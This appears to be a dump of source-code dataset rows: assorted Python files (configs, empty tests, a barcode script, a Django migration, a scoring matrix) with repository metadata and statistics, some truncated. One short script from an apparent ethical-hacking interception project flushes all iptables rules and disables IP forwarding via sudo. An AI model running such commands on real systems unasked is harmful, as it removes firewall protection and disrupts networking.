from . import routes | 23.6 | 67 | 0.788136 | 14 | 118 | 6.285714 | 0.714286 | 0.340909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118644 | 118 | 5 | 68 | 23.6 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0.12605 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
fb4a08eae5c5c2c4785ed4e5646e86f9910eacc1 | 349 | py | Python | TrackingTools/GsfTracking/python/bwdGsfElectronPropagator_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | TrackingTools/GsfTracking/python/bwdGsfElectronPropagator_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | TrackingTools/GsfTracking/python/bwdGsfElectronPropagator_cff.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | import FWCore.ParameterSet.Config as cms
import TrackingTools.MaterialEffects.OppositeMaterialPropagator_cfi
# "backward" propagator for electrons
bwdGsfElectronPropagator = TrackingTools.MaterialEffects.OppositeMaterialPropagator_cfi.OppositeMaterialPropagator.clone(
Mass = 0.000511,
ComponentName = ... | 38.777778 | 121 | 0.830946 | 27 | 349 | 10.666667 | 0.740741 | 0.194444 | 0.375 | 0.395833 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022581 | 0.111748 | 349 | 8 | 122 | 43.625 | 0.906452 | 0.100287 | 0 | 0 | 0 | 0 | 0.076923 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
fb531ed419b11fbda612c518202684782fc35c40 | 585 | py | Python | tests/test_cloudIoTCoreClient.py | masato-ka/switchbot-hub | 1bf5b07f25b6a668bd226aeafdea1e4531a5870c | [
"MIT"
] | 1 | 2019-10-10T16:26:17.000Z | 2019-10-10T16:26:17.000Z | tests/test_cloudIoTCoreClient.py | masato-ka/switchbot-hub | 1bf5b07f25b6a668bd226aeafdea1e4531a5870c | [
"MIT"
] | null | null | null | tests/test_cloudIoTCoreClient.py | masato-ka/switchbot-hub | 1bf5b07f25b6a668bd226aeafdea1e4531a5870c | [
"MIT"
] | null | null | null | from unittest import TestCase
class TestCloudIoTCoreClient(TestCase):
def test_connect(self):
pass
def test_setObserver(self):
pass
def test_publish_telemetry(self):
pass
def test_publish_status(self):
pass
def test__error_str(self):
pass
def test_... | 15.394737 | 39 | 0.623932 | 71 | 585 | 4.760563 | 0.338028 | 0.227811 | 0.325444 | 0.443787 | 0.41716 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.31453 | 585 | 37 | 40 | 15.810811 | 0.842893 | 0 | 0 | 0.458333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.458333 | false | 0.458333 | 0.041667 | 0 | 0.541667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
fbd2ab201d4ec7cead780f7a559eb504ea90a295 | 42 | py | Python | pastiche/__init__.py | dstein64/pastiche | 1c9b2850d3938825a571217a8f3de1ec9f84236a | [
"MIT"
] | 20 | 2019-06-16T21:04:09.000Z | 2021-09-26T16:00:01.000Z | pastiche/__init__.py | dstein64/pastiche | 1c9b2850d3938825a571217a8f3de1ec9f84236a | [
"MIT"
] | 3 | 2019-06-15T21:43:08.000Z | 2021-01-21T02:15:47.000Z | pastiche/__init__.py | dstein64/pastiche | 1c9b2850d3938825a571217a8f3de1ec9f84236a | [
"MIT"
] | 4 | 2019-06-24T13:15:20.000Z | 2020-07-16T18:37:13.000Z | from pastiche.pastiche import __version__
| 21 | 41 | 0.880952 | 5 | 42 | 6.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095238 | 42 | 1 | 42 | 42 | 0.868421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
837963f6ad0fe2ad1b9db179c5f2b5f2a23747be | 3,988 | py | Python | barcode_calling/revseqanaly.py | nathanjohns/PromoterMining | d56655c9589578e4b575343e018f12fc93dcc75f | [
"MIT"
] | 2 | 2018-03-08T16:58:55.000Z | 2021-08-10T17:35:56.000Z | barcode_calling/revseqanaly.py | nathanjohns/PromoterMining | d56655c9589578e4b575343e018f12fc93dcc75f | [
"MIT"
] | null | null | null | barcode_calling/revseqanaly.py | nathanjohns/PromoterMining | d56655c9589578e4b575343e018f12fc93dcc75f | [
"MIT"
] | null | null | null | import seqcompare
su='revbarcodeid.csv'
_={}
with open(su) as d:
next(d)
for line in d:
stuff=line.rstrip().split(',')
id=stuff[0]
seq=stuff[1]
_[seq]=id
d.close()
seqlist=_
def oseqin(x,op=0):
if x in seqlist:
r=True
r1=seqlist[x]
else:
r=False
r1='None'
if op==1:
return... | 18.811321 | 55 | 0.614343 | 605 | 3,988 | 4 | 0.153719 | 0.059504 | 0.07438 | 0.054545 | 0.76281 | 0.743802 | 0.735537 | 0.707438 | 0.707438 | 0.686777 | 0 | 0.05835 | 0.252257 | 3,988 | 212 | 56 | 18.811321 | 0.753186 | 0.009278 | 0 | 0.75 | 0 | 0 | 0.061765 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.029412 | false | 0.014706 | 0.004902 | 0 | 0.176471 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8389c0aef9e9535815decc3c602f7905d73e3b05 | 242 | py | Python | 001146StepikPyBegin/Stepik001146PyBeginch02p02st07TASK04_20200605.py | SafonovMikhail/python_000577 | 739f764e80f1ca354386f00b8e9db1df8c96531d | [
"Apache-2.0"
] | null | null | null | 001146StepikPyBegin/Stepik001146PyBeginch02p02st07TASK04_20200605.py | SafonovMikhail/python_000577 | 739f764e80f1ca354386f00b8e9db1df8c96531d | [
"Apache-2.0"
] | null | null | null | 001146StepikPyBegin/Stepik001146PyBeginch02p02st07TASK04_20200605.py | SafonovMikhail/python_000577 | 739f764e80f1ca354386f00b8e9db1df8c96531d | [
"Apache-2.0"
] | null | null | null | '''
Напишите программу, которая выводит указанный треугольник, состоящий из звездочек (*).
Stepik001146PyBeginch02p02st07TASK04_20200605.py
'''
print("*")
print("**")
print("***")
print("****")
print("*****")
print("******")
print("*******") | 20.166667 | 86 | 0.632231 | 19 | 242 | 8 | 0.684211 | 0.394737 | 0.493421 | 0.526316 | 0.230263 | 0.230263 | 0 | 0 | 0 | 0 | 0 | 0.099099 | 0.082645 | 242 | 12 | 87 | 20.166667 | 0.585586 | 0.561983 | 0 | 0 | 0 | 0 | 0.282828 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
83e5c24a29582f1e9ecc1b2b78eda7dcc649967f | 30 | py | Python | api/bulk/__init__.py | usc-isi-i2/datamart-api | da0792786fc342fc3cd6fbfcdeacae0eac6bff0d | [
"MIT"
] | null | null | null | api/bulk/__init__.py | usc-isi-i2/datamart-api | da0792786fc342fc3cd6fbfcdeacae0eac6bff0d | [
"MIT"
] | 113 | 2020-06-22T18:40:53.000Z | 2021-07-06T04:18:40.000Z | api/bulk/__init__.py | usc-isi-i2/datamart-api | da0792786fc342fc3cd6fbfcdeacae0eac6bff0d | [
"MIT"
] | 1 | 2020-10-23T07:37:51.000Z | 2020-10-23T07:37:51.000Z | from .main import BulkResource | 30 | 30 | 0.866667 | 4 | 30 | 6.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 30 | 1 | 30 | 30 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
83f8d4248e1a021e207fc7339df82727514a6d99 | 48 | py | Python | pony/utils/__init__.py | luckydonald/pony | e733f14ef4e21514b49248b7b72aae0728029852 | [
"Apache-2.0"
] | 2,628 | 2015-01-02T17:55:28.000Z | 2022-03-31T10:36:42.000Z | pony/utils/__init__.py | luckydonald/pony | e733f14ef4e21514b49248b7b72aae0728029852 | [
"Apache-2.0"
] | 525 | 2015-01-03T20:30:08.000Z | 2022-03-23T12:30:01.000Z | pony/utils/__init__.py | luckydonald/pony | e733f14ef4e21514b49248b7b72aae0728029852 | [
"Apache-2.0"
] | 256 | 2015-01-02T17:55:31.000Z | 2022-03-20T17:01:37.000Z |
from .utils import *
from .properties import * | 12 | 25 | 0.729167 | 6 | 48 | 5.833333 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1875 | 48 | 4 | 25 | 12 | 0.897436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f7f4dcf61ec7e2d85bf3dc6a2bab6106bdb18d18 | 48 | py | Python | implementation_files/cosim_pandapipes_pandapower/simulators/time_series_player/__init__.py | ERIGrid2/benchmark-model-multi-energy-networks | 4172480a5fcdf99d086b98ea24e00342f8e42a91 | [
"BSD-3-Clause"
] | null | null | null | implementation_files/cosim_pandapipes_pandapower/simulators/time_series_player/__init__.py | ERIGrid2/benchmark-model-multi-energy-networks | 4172480a5fcdf99d086b98ea24e00342f8e42a91 | [
"BSD-3-Clause"
] | null | null | null | implementation_files/cosim_pandapipes_pandapower/simulators/time_series_player/__init__.py | ERIGrid2/benchmark-model-multi-energy-networks | 4172480a5fcdf99d086b98ea24e00342f8e42a91 | [
"BSD-3-Clause"
] | null | null | null | from .mosaik_wrapper import TimeSeriesPlayerSim
| 24 | 47 | 0.895833 | 5 | 48 | 8.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 48 | 1 | 48 | 48 | 0.954545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f7f5bd20d407393cdf4da3a5333fb860782150b3 | 175 | py | Python | examples/DeepBlueAI/AutoCV2/kakaobrain2/skeleton2/optim/__init__.py | zichuan-scott-xu/automl-workflow | d108e55da943775953b9f1801311a86ac07e58a0 | [
"Apache-2.0"
] | 3 | 2020-12-15T02:40:43.000Z | 2021-01-14T02:32:13.000Z | examples/DeepBlueAI/AutoCV2/kakaobrain2/skeleton2/optim/__init__.py | zichuan-scott-xu/automl-workflow | d108e55da943775953b9f1801311a86ac07e58a0 | [
"Apache-2.0"
] | null | null | null | examples/DeepBlueAI/AutoCV2/kakaobrain2/skeleton2/optim/__init__.py | zichuan-scott-xu/automl-workflow | d108e55da943775953b9f1801311a86ac07e58a0 | [
"Apache-2.0"
] | 4 | 2021-01-07T05:41:38.000Z | 2021-04-07T08:02:22.000Z | # -*- coding: utf-8 -*-
# pylint: disable=wildcard-import
from __future__ import absolute_import
from .optimizers2 import *
from .scheduler2 import *
from .sgdw2 import SGDW
| 21.875 | 38 | 0.754286 | 22 | 175 | 5.772727 | 0.636364 | 0.314961 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026667 | 0.142857 | 175 | 7 | 39 | 25 | 0.82 | 0.302857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
79087986bb0bf55f7733843a920fc0e4c0796ec8 | 26 | py | Python | asolut/__init__.py | Marios-Mamalis/asolut | 36bc7f7893b7596d7e7a734dd3013046f9e0c700 | [
"MIT"
] | null | null | null | asolut/__init__.py | Marios-Mamalis/asolut | 36bc7f7893b7596d7e7a734dd3013046f9e0c700 | [
"MIT"
] | null | null | null | asolut/__init__.py | Marios-Mamalis/asolut | 36bc7f7893b7596d7e7a734dd3013046f9e0c700 | [
"MIT"
] | null | null | null | from asolut.main import *
| 13 | 25 | 0.769231 | 4 | 26 | 5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 26 | 1 | 26 | 26 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f79e753d67163f9531307b8c27e16800e6230d45 | 9,345 | py | Python | st2tests/integration/orquesta/test_wiring_with_items.py | benmcbenben/st2 | f067176640d86924b99bc035c2eb9aabe3b3a734 | [
"Apache-2.0"
] | null | null | null | st2tests/integration/orquesta/test_wiring_with_items.py | benmcbenben/st2 | f067176640d86924b99bc035c2eb9aabe3b3a734 | [
"Apache-2.0"
] | null | null | null | st2tests/integration/orquesta/test_wiring_with_items.py | benmcbenben/st2 | f067176640d86924b99bc035c2eb9aabe3b3a734 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Licensed to the StackStorm, Inc ('StackStorm') under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "Lice... | 33.138298 | 76 | 0.63863 | 1,178 | 9,345 | 4.837861 | 0.157046 | 0.046675 | 0.054045 | 0.096859 | 0.765573 | 0.74013 | 0.735392 | 0.725215 | 0.7103 | 0.682225 | 0 | 0.010598 | 0.27298 | 9,345 | 281 | 77 | 33.256228 | 0.828231 | 0.201926 | 0 | 0.712575 | 0 | 0 | 0.059784 | 0.031579 | 0 | 0 | 0 | 0 | 0.053892 | 1 | 0.047904 | false | 0 | 0.02994 | 0 | 0.08982 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e393478ab801c3aab9cb8a7c4d13744e2e0a2e6c | 2,037 | py | Python | ProjectApplication/grant_management/migrations/0053_add_file_validator.py | code-review-doctor/project-application | d85b40b69572efbcda24ce9c40803f76d8ffd192 | [
"MIT"
] | 5 | 2020-07-29T10:00:11.000Z | 2022-02-19T11:00:34.000Z | ProjectApplication/grant_management/migrations/0053_add_file_validator.py | code-review-doctor/project-application | d85b40b69572efbcda24ce9c40803f76d8ffd192 | [
"MIT"
] | 471 | 2019-09-20T14:37:28.000Z | 2022-03-25T14:16:34.000Z | ProjectApplication/grant_management/migrations/0053_add_file_validator.py | code-review-doctor/project-application | d85b40b69572efbcda24ce9c40803f76d8ffd192 | [
"MIT"
] | 5 | 2020-03-15T12:42:47.000Z | 2022-02-15T18:06:52.000Z | # Generated by Django 3.0.10 on 2020-09-21 10:38
from django.db import migrations, models
import grant_management.models
import project_core.utils.utils
import storages.backends.s3boto3
class Migration(migrations.Migration):
dependencies = [
('grant_management', '0052_invoice_allow_overbudget_by_can_be_... | 48.5 | 243 | 0.710849 | 217 | 2,037 | 6.428571 | 0.267281 | 0.075269 | 0.090323 | 0.090323 | 0.719713 | 0.719713 | 0.719713 | 0.719713 | 0.719713 | 0.719713 | 0 | 0.02506 | 0.177221 | 2,037 | 41 | 244 | 49.682927 | 0.807279 | 0.022582 | 0 | 0.428571 | 1 | 0 | 0.069884 | 0.022624 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.114286 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e3a8308ff18ad89e8bad8142dde7b06855d57588 | 43 | py | Python | src/data/__init__.py | khmelevskyi/leadgen_bot | 18a82794c4bd25868e9b6120d63885eb2f0ab0a8 | [
"MIT"
] | null | null | null | src/data/__init__.py | khmelevskyi/leadgen_bot | 18a82794c4bd25868e9b6120d63885eb2f0ab0a8 | [
"MIT"
] | null | null | null | src/data/__init__.py | khmelevskyi/leadgen_bot | 18a82794c4bd25868e9b6120d63885eb2f0ab0a8 | [
"MIT"
] | null | null | null | """ additional data """
from .data import * | 21.5 | 23 | 0.651163 | 5 | 43 | 5.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162791 | 43 | 2 | 24 | 21.5 | 0.777778 | 0.348837 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5409121b8d7fe754c2b594f180e0315b12651da0 | 170 | py | Python | flush.py | mahnooranjum/HTTPInterceptor_EthicalHacking | 2ca7165769c97f58e3eb7a0539da5ccb8bed285c | [
"MIT"
] | null | null | null | flush.py | mahnooranjum/HTTPInterceptor_EthicalHacking | 2ca7165769c97f58e3eb7a0539da5ccb8bed285c | [
"MIT"
] | null | null | null | flush.py | mahnooranjum/HTTPInterceptor_EthicalHacking | 2ca7165769c97f58e3eb7a0539da5ccb8bed285c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import subprocess
subprocess.call("sudo iptables --flush", shell=True)
subprocess.call("sudo echo 0 > /proc/sys/net/ipv4/ip_forward", shell=True)
| 28.333333 | 74 | 0.752941 | 26 | 170 | 4.884615 | 0.769231 | 0.220472 | 0.283465 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019355 | 0.088235 | 170 | 5 | 75 | 34 | 0.8 | 0.123529 | 0 | 0 | 0 | 0 | 0.432432 | 0.195946 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
542b947518b2f5e5d6a3d6761c38c2c0163229d1 | 18 | py | Python | frs/__init__.py | fonnesbeck/framingham_risk | ae83f7aaf30575b1e6332659b19e91123fe05ea9 | [
"MIT"
] | 2 | 2021-05-13T09:51:08.000Z | 2021-05-17T01:29:57.000Z | frs/__init__.py | fonnesbeck/framingham_risk | ae83f7aaf30575b1e6332659b19e91123fe05ea9 | [
"MIT"
] | null | null | null | frs/__init__.py | fonnesbeck/framingham_risk | ae83f7aaf30575b1e6332659b19e91123fe05ea9 | [
"MIT"
] | null | null | null | from .frs import * | 18 | 18 | 0.722222 | 3 | 18 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 18 | 1 | 18 | 18 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
581b2cf1cf831faee6ff94c2d5a97441ed2fbc27 | 2,302 | py | Python | epytope/Data/pssms/smm/mat/B_53_01_9.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 7 | 2021-02-01T18:11:28.000Z | 2022-01-31T19:14:07.000Z | epytope/Data/pssms/smm/mat/B_53_01_9.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 22 | 2021-01-02T15:25:23.000Z | 2022-03-14T11:32:53.000Z | epytope/Data/pssms/smm/mat/B_53_01_9.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 4 | 2021-05-28T08:50:38.000Z | 2022-03-14T11:45:32.000Z | B_53_01_9 = {0: {'A': 0.497, 'C': -0.346, 'E': 0.055, 'D': 0.331, 'G': 0.471, 'F': -0.795, 'I': -0.259, 'H': -0.19, 'K': 0.278, 'M': -0.81, 'L': -0.232, 'N': -0.094, 'Q': 0.283, 'P': 0.475, 'S': 0.318, 'R': 0.426, 'T': 0.024, 'W': -0.263, 'V': 0.136, 'Y': -0.302}, 1: {'A': -0.833, 'C': 0.19, 'E': 0.306, 'D': 0.217, 'G'... | 2,302 | 2,302 | 0.39444 | 557 | 2,302 | 1.624776 | 0.305206 | 0.01989 | 0.00884 | 0.01105 | 0.044199 | 0 | 0 | 0 | 0 | 0 | 0 | 0.373769 | 0.162033 | 2,302 | 1 | 2,302 | 2,302 | 0.095386 | 0 | 0 | 0 | 0 | 0 | 0.079462 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5824af4f969a7cc702dc2bdee7a04cbc2ff0421d | 216 | py | Python | trinity/rpc/modules/main.py | YaoyaoBae/py-evm | 4a3e8dfa15d81841fde434db352bcb7721ad5c04 | [
"MIT"
] | null | null | null | trinity/rpc/modules/main.py | YaoyaoBae/py-evm | 4a3e8dfa15d81841fde434db352bcb7721ad5c04 | [
"MIT"
] | null | null | null | trinity/rpc/modules/main.py | YaoyaoBae/py-evm | 4a3e8dfa15d81841fde434db352bcb7721ad5c04 | [
"MIT"
] | 1 | 2019-08-10T12:25:15.000Z | 2019-08-10T12:25:15.000Z | class RPCModule:
_chain = None
def __init__(self, chain=None, p2p_server=None):
self._chain = chain
self._p2p_server = p2p_server
def set_chain(self, chain):
self._chain = chain
| 21.6 | 52 | 0.638889 | 28 | 216 | 4.5 | 0.357143 | 0.285714 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019108 | 0.273148 | 216 | 9 | 53 | 24 | 0.783439 | 0 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
5843de3f1f041290c924736a91820990c42f7583 | 93 | py | Python | app/face/__init__.py | firebirds/faceService | 7756be1e714ea461cf64ae3bce7480a691e57809 | [
"Apache-2.0"
] | 1 | 2020-10-09T03:57:13.000Z | 2020-10-09T03:57:13.000Z | app/face/__init__.py | firebirds/faceService | 7756be1e714ea461cf64ae3bce7480a691e57809 | [
"Apache-2.0"
] | 3 | 2021-03-19T02:00:59.000Z | 2022-03-11T23:52:52.000Z | app/face/__init__.py | firebirds1017/faceService | 7756be1e714ea461cf64ae3bce7480a691e57809 | [
"Apache-2.0"
] | null | null | null | from flask import Blueprint
face = Blueprint('face', __name__)
from . import views, errors
| 15.5 | 34 | 0.752688 | 12 | 93 | 5.5 | 0.666667 | 0.393939 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.16129 | 93 | 5 | 35 | 18.6 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0.043011 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
58899eb32cf62fbbf5bec5a4a7b4af9125ac44ce | 37 | py | Python | conans/client/downloaders/__init__.py | samuel-emrys/conan | 8b138923eef2fc35e23f20f17222d8aa6e8729fd | [
"MIT"
] | null | null | null | conans/client/downloaders/__init__.py | samuel-emrys/conan | 8b138923eef2fc35e23f20f17222d8aa6e8729fd | [
"MIT"
] | null | null | null | conans/client/downloaders/__init__.py | samuel-emrys/conan | 8b138923eef2fc35e23f20f17222d8aa6e8729fd | [
"MIT"
] | null | null | null | from .download import run_downloader
